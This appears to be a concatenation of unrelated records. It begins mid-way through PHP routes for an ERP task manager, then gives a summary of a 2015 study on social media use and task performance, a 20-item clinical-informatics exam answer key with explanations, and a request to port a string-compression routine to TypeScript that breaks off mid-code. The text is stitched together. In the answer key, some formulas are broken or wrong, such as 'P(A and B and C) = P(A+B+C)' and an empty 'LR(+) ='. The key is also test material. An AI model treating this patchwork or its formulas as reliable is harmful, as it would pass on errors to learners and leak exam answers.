\'tbl\\_client.merchant\\_name\',\n \'tbl\\_client.merchant\\_phone\',\n \'tbl\\_client.expires\\_date\',\n \'tbl\\_client.last\\_login\',\n \'tbl\\_client.client\\_id\',\n \'tbl\\_client.name\',\n ), array(\n \'tbl\\_invoices.invoices\\_id\' => $elem[\'invoice\\_id\']\n ));\n\n $invoices = array\\_map(function ($invoice) use ($rm) {\n $due\\_amount = $rm->sum(\'tbl\\_items\', \'total\\_cost\', array(\n \'invoices\\_id\' => $invoice[\'invoices\\_id\']\n ));\n $invoice[\'due\\_amount\'] = $due\\_amount;\n switch ($invoice[\'status\']) {\n case \'paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'rejected\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'unpaid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'overdue\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'draft\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'partially\\_paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n }\n /\\*$invoice[\'published\'] = $invoice[\'status\'];\n if ($invoice[\'published\'] == 2) {\n $invoice[\'rejected\'] = true;\n }\\*/\n /\\*$invoice[\'items\'] = $rm->select(\'ready\\_invoice\\_items\', \'\\*\', array(\n \'ri\\_invoice\\_id\' => $invoice[\'id\']\n ));\\*/\n return $invoice;\n }, $invoices);\n\n $elem[\'invoice\'] = $invoices[0]; \n } \n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false;\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'All Tasks\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'all-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/assigned-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n\n $where = array(\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n /\\*\'leads\\_id\' => $user\\_id,\n \'created\\_by\' => $user\\_id\\*/\n ]\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false; \n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Asigned to Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'assigned-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/report-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array(\n \'created\\_by\' => $user\\_id\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'created\\_by\' => $user\\_id\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'created\\_by\' => $user\\_id\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'created\\_by\' => $user\\_id\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'created\\_by\' => $user\\_id\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'created\\_by\' => $user\\_id\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Reported by Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'report-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});' -'Brooks, S. (2015). Does personal social media usage affect efficiency and well-being? Computers in Human Behavior, 46, 26-37. https://doi.org/10.1016/j.chb.2014.12.053\n\nArticle:\nAbstract\nPersonal social media usage is pervasive in both personal and professional lives. Practitioner articles and news stories have commented on the addicting and distracting nature of social media. Previous empirical research has established the negative effects of distractions on primary tasks. To date, little research has looked at the potentially distracting nature of social media and the negative effects that can arise from usage. This research addresses this gap by investigating the effects of personal social media usage on task performance. To extend this research, I also examined the effects that the personal social media usage has on individuals’ technostress and happiness levels. I tested these effects by creating a classroom task environment and measuring subjects’ usage of social media and their task performance. From this, it was found that higher amounts of personal social media usage led to lower performance on the task, as well as higher levels of technostress and lower happiness. These results are consistent across different levels of attentional control and multitasking computer self-efficacy. These results suggest that the personal usage of social media during professional (vs. personal or play) times can lead to negative consequences and is worthy of further study.\n\nIntroduction\nA recent survey found that 86% of online adults in the US and 79% of online adults in Europe use social media (Sverdlov, 2012). It would be hard to argue with the ubiquity of social media, and thus researchers have also paid attention to this growingly popular topic. Within the business disciplines, much research has been conducted on how businesses can leverage social media to increase exposure, profits, and other business goals. These studies have been very useful in examining social media; however, little work has been done on the effects of individual’s personal social media usage and negative effects of such usage. There are at least 2.3 billion registered users for the ten most popular social networking websites worldwide combined (Socialnomics.net., 2011). Given this enormous population of users, it comes as no surprise that Facebook.com and YouTube.com are the two most-visited sites on the web, as of August 2014, and that social media usage has become the most common activity on the web (Socialnomics.net., 2012). Due to its ease of use, speed, and reach, social media is fast changing the public discourse in society and setting trends and agendas in topics that range from the environment and politics, to technology and the entertainment industry (Asur & Huberman, 2010).\n\nSocial media sites are frequently accessed both at home and at work. Though individuals can maintain a cognitive difference between personal life and professional life, these two aspects are both a part of the whole that is the individual. Understanding effects to both sides of a person’s life is important for gaining a holistic picture of the individual. An argument can be made that the time spent using social media is not beneficial to the users, especially in the long term. Popular news outlets frequently report on stories involving negative outcomes of social media usage. For example, though people with low self-esteem consider Facebook an appealing venue for self-disclosure, the low positivity/high negativity of their disclosures elicited generally negative feedback from others (Forest & Wood, 2012). This cycle can lower users’ happiness from not receiving the encouragement and positive feedback that they were hoping for. Also, extended use of a technology can lead to greater stresses. These technostresses can lower an individual’s well-being.\n\nSocial media can also be distracting to users. The hedonic appeal of the technologies along with the ability to be connected to friends and family provides a strong pull to use the systems, both during professional and personal time. A typical worker gets interrupted at least six to eight times a day, which consumes about 28% of a knowledge worker’s day (Spira & Feintuch, 2006). Research has shown that workers jump to an interruption about 40% of the time instead of focusing on the original task. When they come back to the primary task from the interruption, it can take up to 25 min to return to the original cognitive state (Czerwinski, Cutrell, & Horvitz, 2000). Inefficiencies in task performance can result from the time spent on the interruption and the challenge in mentally returning to the primary task.\n\nFor many students, being in the classroom can be analogous to being in a work environment. Students have work tasks to perform while in the classroom and a duty to perform these tasks efficiently, whether listening to a lecture, participating in discussion, working on a task, etc. Students accessing social media sites while in the classroom have the potential to experience many of the same drawbacks as do professionals in the workplace. A survey from Cengage Learning (2014) found that 59% of students are accessing social media in class. Given the potential for individuals to be affected when giving into these distractions/interruptions, this paper investigates this gap by exploring the effect of social media usage on students in a classroom environment. The results from this study will extend the literature concerned with technological distractors, provide preliminary empirical support for or against imposing personal social media usage limits in a classroom, and give justification for further study in more generalizable environments.\n\nThe results of this exploratory study will contribute to the literature on social media and distractions by showing what effects social media usage can have on both external efficiency (performance) and internal states (well-being). As most research investigates only one of these two foci, combining both sides provides value to the literature.\n\nThe organization of the paper is as follows. The next section provides background on prior work on social media and the theoretical lens of Distraction–Conflict Theory. The research models, both the efficiency model and the well-being model, are presented along with their hypotheses. Next, the methodology is described and the analysis is performed. Finally, the discussion of the results is presented along with the conclusions.\n\nSection snippets\nSocial media\nSocial media are a group of Internet-based applications that allow the creation and exchange of user generated content (UGC) (Kaplan and Haenlein (2010). UGC, which describes the various forms of media content created by end-users outside of a professional context and is publically available (Kaplan and Haenlein (2010), is what differentiates social media from other more traditional forms of media. As an example, online newspapers, such as the New York Times, are not considered UGC due to the\n\nDistraction–Conflict Theory\nDistraction–Conflict Theory (DCT) (Baron, 1986, Groff et al., 1983, Sanders and Baron, 1975) provides a theoretical lens for understanding the effect that distractions and interruptions have on performance. The distraction–conflict model can be broken down into three causal steps (Baron, 1986): (1) others are distracting, (2) distraction can lead to attentional conflict, and (3) attentional conflict elevates drive. This elevated drive leads to impaired performance and motor behavior on complex\n\nTask performance (PERF)\nRegarding DCT, interruptions have been found to lower performance on complex tasks (Speier, Vessey, & Valacich, 2003). With complex tasks, how often an interruption occurs, and how different the content of the material in the interruption is from the content of the task affect performance. In a mobile computing environment, widely recognized as being susceptible to multiple disturbances, even low-level distractions have been indicated to lead to a performance reduction (Nicholson, Parboteeah,\n\nStudy\nThe hypotheses are examined using surveys before and after a specific task was provided. Two surveys were created to measure self-reported information on the constructs of interest.\n\nSubjects\nThe sample consists of undergraduate students enrolled in an information systems course in a large Western US university. Subjects were given course credit for participating. College students were selected for the sample because social media usage is prevalent among this demographic. Social media sites, especially\n\nAnalysis and results\nThe data was analyzed using SmartPLS 2.0 (Ringle, Wende, & Will, 2005). PLS was chosen for analysis due to the exploratory nature of this model and the desire to identify key constructs (Hair, Hult, Ringle, & Sarstedt, 2013, p. 19). The sample size (N = 209) is of sufficient size for this analysis (Chin & Newsted, 1999). Both the bootstrapping procedure (cases = 209, samples = 5000) and the PLS algorithm were used for analysis.\n\nDiscussion\nFrom this exploratory investigation, support was found that social media usage can be detrimental to both halves of an individual’s life: the professional and the personal. Table 5 provides a summation of the hypotheses.\n\nFor the efficiency model, in line with Distraction–Conflict Theory, social media usage was found to negatively affect performance. Neither attentional control nor multitasking computer self-efficacy has a significant effect on this relationship. As often as students and\n\nLimitations and future directions\nLike all research, this study is not without limitations that need to be identified and addressed in future studies. First, the usage of college students for the sample is not generalizable to the workplace. After all, the pressure that a student faces while sitting in the classroom vary greatly from the professional, economic, and possible familial pressure felt by employees in the workforce. The choice of sample is relevant for this study due to the familiarity and usage of the social media\n\nConclusions\nThis study investigated the effects of personal social media usage on efficiency and well-being. As mentioned earlier, the popular press is rife with stories of people feeling negative consequences of social media usage. Given that social media usage is the most popular activity on the Internet, it is important to investigate what effects this usage is actually having so that future research may uncover effective ways to handle these issues.\n\nEnd of journal.' -'1\nTHE ANSWER IS B. User testing is important to the development process, however there are surrogates to having actual users, such as role-playing. Delaying or discarding the system are inferior choices, as is implementing the system with no testing at all. (REF: Section 3.2.2 - HCI Evaluation)\n\xa0\n2\nTHE ANSWER IS C. Of all the determinants of individual and population health, the most significant contributors to morbidity and early mortality are behavioral, such as smoking, sedentary lifestyle, etc. The next most significant is biology, followed by social, medical and environment. (REF: 1.2.1 - Determinants of health)\n3\nTHE ANSWER IS C.\xa0 The probability of B can be expressed as the probability of A and B\xa0 occurring together plus the probability of (not A)\xa0 and B occurring together.The probability of A and B occurring is equal to the probability of A times the probability of B, given A. (REF: Section 2.1.2 - Decision Science)\nP(A and B) = p(A) \\* p(B|A)\nP(A) + P(not A) = 1\nP (A and B and C) =\xa0 P(A+B+C)\n4\nTHE ANSWER IS D. Process mining is a method of workflow analysis which involves researching the event log of an information system to find out how effective various processes are. Merging database tables using a common key is usually called a join. (REF 2.3.1. Methods of workflow analysis)\n5\nTHE ANSWER IS C. This question tests a simple definition, but even if you did not know the answer, you could probably eliminate some choices. We are looking for terms that convey communications as well as transition. A and D are quite unlikely. Choice C seems to express both those concepts well. (REF: Section 4.6.2 - Change Theories)\n6\nTHE ANSWER IS B. You should know a little about CAS, but even if you didn’t, you should be able to eliminate choices A and D. A system which is adaptive should evolve and it should tend towards order. A system which is complex is more likely to be nonlinear than have central discipline. (REF: Section 4.6.2 - Change Theories)\n7\nTHE ANSWER IS A. Using familiar designs, such as a color scheme that follows cultural norms can shorten the learning process. Design should be consistent across the EHR and interfaces should not be cluttered with information. Feedback is important to notify the user that his task was successful. (REF: Section 3.2.3 - Interface design standards and design principles)\n8\nTHE ANSWER IS C. The Positive likelihood ratio is defined as the true positive rate divided by the false positive rate.\xa0 (REF: Section 2.1.2 - Decision Science)\nLR(+) = sensitivity/(1-specificity) = TPR/FPR. \nLR(+) = \n9\nTHE ANSWER IS A. Workflow reengineering involves finding different paths to the same goal. Hiring another manager to oversee production simply reinforces the original protocols. Similarly, hiring new employees to relieve a bottleneck may ultimately be a part of process reengineering, but not necessarily. Workflow reengineering can not be accomplished in a stepwise fashion, It is an all-or-none proposition. (REF: Section 2.3.2. Principles of workflow re-engineering)\n10\nTHE ANSWER IS B. The negative predictive value is equal to the number of true negatives divided by the number of total negative test results, i.e. TN/(TN + FN).\xa0\xa0 Likewise, PPV is equal to TP/(TP + FP). Sensitivity is a measure of the test being used and is equal to the true positives divided by all patients who have the disease being tested for, i.e. Sens=TP/(TP +FN). Likewise, Specificity is the number of true negatives divided by all the patients without the disease being tested for, i.e. Spec=TN/(FP+TN). (REF: Section 2.1.2 - Decision Science)\n11\nTHE ANSWER IS C. Fast Health Interoperability Resources is an emerging standard from Health Level Seven which uses standard well-established web technologies to transfer health information. It is expected that development costs for FHIR should be significantly less than other (proprietary) technologies. DICOM is a set of protocols for transmission of medical images. Although FHIR should run on inexpensive commodity hardware, choice C is a better answer. Alas, there are no unbreakable encryption techniques. (REF: 3.4.7 Interoperability Standards)\n12\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. Slack or float is the degree to which a task can be postponed without delaying the end of the project. Tasks that fall along the critical path have no float. In this diagram, the critical path includes tasks B and E, so B has no float. (REF: Section 4.4.4 Project Management Tools)\n13\nTHE ANSWER IS C. Review of medical records is only permitted in the context of a doctor-patient relationship, which clearly does not exist here. Even though the nurse knew that it was possible for people to snoop through her records, that does not give anyone permission to do so. The fact that the doctor has administrative privilege to review records does not give him ethical permission, even though his own health is at stake. (REF: 1.1.5 - Ethics and Professionalism)\n14\nTHE ANSWER IS A. The environmental scan identifies, among other things, strengths of the organization, such as competitive advantages. In general, vision and mission statements should be written before the environmental scan. Budgeting is done as part of setting up an action plan, after the environmental scan. Ensuring ethical behavior could be an aspect of an internal scan, but is still not as good an answer as identifying strengths. (REF: 4.5.2 – Environmental Scanning)\n15\nTHE ANSWER IS B. Among those items listed, the only one which would completely prevent a user from using the system is a password reset. If users do not have access to the system, they will find ways to bypass it, either by using downtime procedures or by using another user’s password. Requests for additional training and non-critical bug fixes will be prioritized as resources allow. System lag is a very common complaint and is often multifactorial. A laggy system is frustrating, but still operational.\xa0 (REF: Section 3.5.3 - Clinical information system implementation)\n16\nTHE ANSWER IS B. In general, hospitals are required to provide care for indigent patients under a number of different systems. Federal law requires emergency care to be provided regardless of ability to pay. In addition, many hospitals are required to provide a certain amount of indigent care in order to maintain their tax-free status. Finally, many hospitals have physician training programs (residencies) which are subsidized by the government in exchange for providing indigent care. In nearly all these cases, the cost of indigent care is never reimbursed at the same rate as regular services, and the cost is shifted from well-paying patients to less well-paying patients. Capitation is the process of shifting the risk of the cost of care from the insurer to the provider by paying a fixed fee per patient regardless of services provided. Pay for performance initiatives seek to link reimbursement to the achievement of certain quality measures. One way insurers disincentivize patients from seeking care is by requiring co-payments at the time of service.\xa0 (REF: Section 1.2.5 -\xa0 Health economics and financing)\n17\nTHE ANSWER IS B. A Pareto chart is a histogram which lists common problems in decreasing order of occurrence. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n18\nTHE ANSWER IS A. Fitts Law states that the time it takes for a person to click on an item on a screen is related to the distance to the item and (inversely) to the size of the item. Hick-Hyman Law states that the time it takes to make a decision is logarithmically related to the number of choices. Model Human Processor (MHP) is a model like Goals Operators Methods Selectors (GOMS) that determines how long it takes a person to perform a certain task. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n19\nTHE ANSWER IS A. Managerial accounting, unlike financial accounting is directed at managers within the organization and provides them with financial information required to plan, implement and evaluate performance. Financial accounting describes the financial condition of the business in historical format, usually during the past year or quarter. Financial reports are prepared to meet regulatory requirements according to the Generally Accepted Accounting Principles (GAAP). (REF 4.5.6 - Principles of managerial accounting)\n20\nTHE ANSWER IS D. A shorter payback period indicates a better investment. For both the accounting rate of return and the internal rate of return, a higher percentage indicates a better investment. The present value (PV) of an item indicates its future value in today’s money.\xa0 (REF 4.5.5 Capital and operating budgeting)' -'Re-write this using typescript and es2021\n\n```js\n/\\*\\* Based on https://gist.github.com/JobLeonard/4bbc5cd5952f25560d59abb2d056f2a0 by @JobLeonard \\*/\n/\\*\n basic ranges of printable UTF16 values (as found in LZ-string): \n [32, 127), [160, 55296), [63744, 65536)\n We also have filter out string characters like:\n " (34)\n \' (39)\n ` (44)\n (Forward tick is safe: ´ (96))\n So:\n 32, 33, [35, 39), [40, 44), [45, 127), [160, 55296), [63744, 65536)\n \\*/\n// integer to unicode:\nexport function itou(i: number) {\n i += 32;\n if (i > 33 && i < 39) {\n i++;\n } else if (i > 38 && i < 44) {\n i += 2;\n } else if (i > 43 && i < 127) {\n i += 3;\n } else if (i > 126 && i < 55258) {\n i += 37; // === 160 - 128 + 3\n } else if (i > 55295) {\n i += 8485; // === 63744 - 55296 + 37 \n }\n return String.fromCharCode(i);\n}\nexport function utoi(i: number) {\n return i - (i > 63743 ? 8517 :\n i > 159 ? 69 :\n i > 46 && i < 130 ? 35 :\n i > 40 && i < 46 ? 34 :\n i > 34 && i < 40 ? 33 :\n 32);\n}\n\nfunction \\_node (val) { return { v: val, d: {} }; }\nexport function compress(input: Uint8Array) {\n if (input === null) return \'\';\n let i = 0,\n j = 0,\n value = 0,\n dictionary = { d: {} },\n freshNode = true,\n c = 0,\n node = \\_node(2), // first node will always be initialised like this.\n nextNode,\n enlargeIn = 2,\n dictSize = 3,\n numBits = 2,\n data = [],\n data\\_val = 0,\n data\\_position = 0;\n\n if (input.length) {\n // Write length of the input as the first four unicode characters,\n // Or 45 bits. 1<<45 bytes is about 35 terabytes, so more than enough.\n value = input.length;\n data.push(itou(value / 40000000 & 0x7FFF));\n data.push(itou((value >>> 15) & 0x7FFF));\n data.push(itou(value & 0x7FFF));\n\n // If there is an array, the first byte is guaranteed to\n // be new, so we write it to output stream, and add it to the\n // dictionary. For the same reason we can initialize freshNode\n // as true, and new\\_node, node and dictSize as if\n // it was already added to the dictionary (see above).\n\n c = input[0];\n\n // === Write first byte token to output ==\n\n // insert new byte token into bitstream\n for (i = 0; i < numBits; i++) {\n // Value for "new token" is 0\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n // insert byt bits into bitstream\n for (i = 0; i < 8; i++) {\n // shifting has precedence over bitmasking\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n\n // Add charCode to the dictionary.\n dictionary[c] = node;\n\n for (j = 1; j < input.length; j++) {\n c = input[j];\n // does the new charCode match an existing prefix?\n nextNode = node.d[c];\n if (nextNode) {\n // continue with next prefix\n node = nextNode;\n } else {\n\n // Prefix+charCode does not exist in trie yet.\n // We write the prefix to the bitstream, and add\n // the new charCode to the dictionary if it\'s new\n // Then we set `node` to the root node matching\n // the charCode.\n\n if (freshNode) {\n // Prefix is a freshly added character token,\n // which was already written to the bitstream\n freshNode = false;\n } else {\n // write out the current prefix token\n value = node.v;\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = value >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n\n // Is the byte a new byte\n // that needs to be stored at the root?\n if (dictionary[c] === undefined) {\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n\n // insert new byte token\n for (i = 0; i < numBits; i++) {\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n for (i = 0; i < 8; i++) {\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n dictionary[c] = \\_node(dictSize++);\n // Note of that we already wrote\n // the charCode token to the bitstream\n freshNode = true;\n }\n // add node representing prefix + new charCode to trie\n node.d[c] = \\_node(dictSize++);\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n // set node to first charCode of new prefix\n node = dictionary[c];\n }\n }\n\n // === Write last prefix to output ===\n if (freshNode) {\n // character token already written to output\n freshNode = false;\n } else {\n // write out the prefix token\n value = node.v;\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = value >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n\n // Is c a new character?\n if (dictionary[c] === undefined) {\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n for (i = 0; i < numBits; i++) {\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n for (i = 0; i < 8; i++) {\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n }\n\n // Mark the end of the stream\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = 1 >> i | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n\n // Flush the last char\n data\\_val <<= 15 - data\\_position;\n data.push(itou(data\\_val));\n\n data.push(\' \');\n return data.join(\'\');\n\n}\n\nexport function decompress(compressed) {\n if (compressed === null || compressed.length < 4) return null;\n\n let length = compressed.length,\n getNextValue = function (index) { return utoi(compressed.charCodeAt(index)); };\n let dictionary = [0, 1],\n enlargeIn = 1,\n 